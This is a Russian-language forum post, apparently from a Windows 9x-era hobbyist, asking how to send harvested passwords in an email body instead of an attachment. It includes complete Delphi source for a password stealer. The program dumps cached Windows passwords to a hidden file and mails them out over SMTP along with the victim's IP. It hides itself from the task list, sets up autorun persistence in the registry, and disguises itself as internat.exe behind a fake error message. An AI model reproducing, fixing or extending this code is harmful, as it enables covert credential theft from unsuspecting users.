через тело файла ?
тоесть создаешь файл , занести в него информацию ,а затем просто при отправке копируешь содержимое файла и удаляешь файл !
я помню кто-то говорил что AddPassword выполняется с каждым найденным пасом. Открыть и инициализировать файл надо до строчки WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0)
а закрыть, соответственно, после неё. И открывать файл надо в режиме Append.
а если отправлять пасы через NMSMTP1.PostMessage.Body.Text :='тело писма ';
то отправляется только постедний пасс
и если эту строчку рассположить до WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0)
то вообще нихрена не отправляется!
приходется файл аттачментом отправлять
ПОдскажите как лучше сделать!
------------------------------------------------------------
------------------------Код программы-----------------------
unit Unit1;
interface
uses
Windows,Registry, SysUtils, Dialogs, Classes, Forms, ShellAPI, StdCtrls,
Psock, NMsmtp, OnlineIP;
type
TForm1 = class(TForm)
NMSMTP1: TNMSMTP;
OnlineIP1: TOnlineIP;
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
public
hMPR: THandle;
end;
var
Form1: TForm1;
vf:textfile;
pass:string;
const
Count: Integer = 0;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
implementation
{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
var
WinPassword: TWinPassword;
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);
Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);
Result := True;
append(vf); {Открытие файла для записи}
writeln(vf,password);{Запись в файл всех паролей}
end;
procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.Terminate;
end
else
if Count = 0 then
writeln(vf,'No passwords found...');
closefile(vf);
{mailing}
if OnlineIP1.Online then {ip adress}
begin
NMSMTP1.Host := 'smtp.mail.ru';
NMSMTP1.UserID := 'some';
NmSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress := 'some@mail.ru';
NMSMTP1.PostMessage.ToAddress.Text := 'some@mail.ru';
NMSMTP1.PostMessage.Body.Text :='encoding: windows-1251 (cyrillic)';
NMSMTP1.PostMessage.Subject := 'Password for you from ' + OnlineIP1.IP;
nmSMTP1.PostMessage.Attachments.add('c:\butlogs.mgs');
NMSMTP1.SendMail;
erase(vf);
end;
{Закрытие файла}
{Выход из программы}
end; {Скрытие от cnrtl+alt+del}
procedure TForm1.FormCreate(Sender: TObject);
var
reg: TRegistry;{пееременная для реестра}
WinPath : array [0..255] of char;
CurPath : String;
RegProcess: function (p1, p2:integer): integer; stdcall;
hDllKernel: HInst;
begin
Left := Screen.Width;
{Форма создается слева за экраном}
if GetVersion >= $80000000 then begin
hDllKernel := LoadLibrary('kernel32.dll');
RegProcess := GetProcAddress(hDllKernel, 'RegisterServiceProcess');
RegProcess(0, 1);
end;
ShowWindow(Application.Handle, SW_HIDE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW);
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) <> 0 then
begin
{создание файла и запись строки}
pass:=('c:\butlogs.mgs');
assignfile(vf,pass);
rewrite(vf);
begin
writeln(vf,'happy new password');
end;
filesetattr('c:\butlogs.mgs',fahidden or fasysfile);
ShowWindow(Handle, SW_HIDE);
Reg := nil; {Прописывается в реестр}
try
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',
false);
reg.WriteString('Internat', Application.ExeName);
reg.CloseKey;
reg.free;
except
if Assigned(Reg) then Reg.Free;
end
end
else
begin
messagedlg('File raised exception class ElnOutError',mterror,[mbok],0);
CopyFile(@(ParamStr(0))[1],@(WinPath+'\internat.exe')[1],false);
filesetattr(WinPath+'\internat.exe',fahidden or fasysfile);
WinExec(@(WinPath+'\internat.exe')[1],sw_Hide);
close;
end;